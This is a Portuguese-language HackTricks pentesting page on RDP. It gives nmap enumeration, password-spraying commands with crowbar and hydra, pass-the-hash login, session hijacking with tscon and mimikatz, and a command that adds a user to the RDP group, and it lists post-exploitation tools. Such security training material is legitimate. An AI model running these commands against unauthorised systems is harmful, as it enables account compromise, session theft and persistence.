hacktricks/network-services-pentesting/pentesting-rdp.md

173 lines
9.3 KiB
Markdown

# 3389 - Pentesting RDP
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configuração imediatamente disponível para avaliação de vulnerabilidade & pentesting**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas & recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção & exploração para dar a eles mais tempo para investigar mais a fundo, explorar sistemas e se divertir.
{% embed url="https://pentest-tools.com/" %}
## Informações Básicas
O Protocolo de **Área de Trabalho Remota** (**RDP**) é um protocolo proprietário desenvolvido pela Microsoft, que fornece ao usuário uma interface gráfica para se conectar a outro computador através de uma conexão de rede. O usuário utiliza o software cliente **RDP** para esse fim, enquanto o outro computador deve executar o software servidor **RDP** (da [aqui](https://en.wikipedia.org/wiki/Remote\_Desktop\_Protocol)).
**Porta padrão:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Enumeração
### Automática
{% code overflow="wrap" %}
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
{% endcode %}
Ele verifica a criptografia disponível e a vulnerabilidade a DoS (sem causar DoS ao serviço) e obtém informações do NTLM Windows (versões).
### [Força Bruta](../generic-methodologies-and-resources/brute-force.md#rdp)
**Tenha cuidado, você pode bloquear contas**
### **Spray de Senhas**
**Tenha cuidado, você pode bloquear contas**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Conectar com credenciais/hash conhecidos
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### Verificar credenciais conhecidas em serviços RDP
rdp\_check.py do impacket permite verificar se algumas credenciais são válidas para um serviço RDP:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configuração imediatamente disponível para avaliação de vulnerabilidade & pentesting**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas & recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção & exploração para dar a eles mais tempo para investigar mais a fundo, explorar sistemas e se divertir.
{% embed url="https://pentest-tools.com/" %}
## **Ataques**
### Roubo de sessão
Com **permissões de SYSTEM** você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar conhecer a senha do proprietário.
**Obter sessões abertas:**
```
query user
```
**Acesso à sessão selecionada**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Agora você estará dentro da sessão RDP selecionada e poderá se passar por um usuário usando apenas ferramentas e recursos do Windows.
**Importante**: Quando você acessa sessões RDP ativas, você expulsará o usuário que estava utilizando-a.
Você poderia obter senhas do processo despejando-as, mas este método é muito mais rápido e permite interagir com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem terem sido salvas no disco, outras sessões RDP abertas em outras máquinas...)
#### **Mimikatz**
Você também poderia usar mimikatz para fazer isso:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
Combinando esta técnica com **stickykeys** ou **utilman você poderá acessar um CMD administrativo e qualquer sessão RDP a qualquer momento**
Você pode procurar RDPs que já foram comprometidos com uma dessas técnicas em: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### Injeção de Processo RDP
Se alguém de um domínio diferente ou com **privilégios melhores se conectar via RDP** ao PC onde **você é um Admin**, você pode **injetar** seu beacon no **processo da sessão RDP** dele e agir como ele:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### Adicionando Usuário ao grupo RDP
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Ferramentas Automáticas
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque **Shadow** em computadores Microsoft Windows. Essa vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto **veja a área de trabalho de sua vítima sem o seu consentimento**, e até mesmo a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Controlar mouse e teclado de forma automatizada a partir da linha de comando
* Controlar a área de transferência de forma automatizada a partir da linha de comando
* Criar um proxy SOCKS no cliente que canaliza a comunicação de rede para o alvo via RDP
* Executar comandos SHELL e PowerShell arbitrários no alvo sem necessidade de upload de arquivos
* Fazer upload e download de arquivos para/de o alvo mesmo quando as transferências de arquivos estão desativadas no alvo
## Comandos Automáticos HackTricks
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
```markdown
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configuração imediatamente disponível para avaliação de vulnerabilidade e pentesting**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde recon até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para lhes dar mais tempo para investigar mais a fundo, pop shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```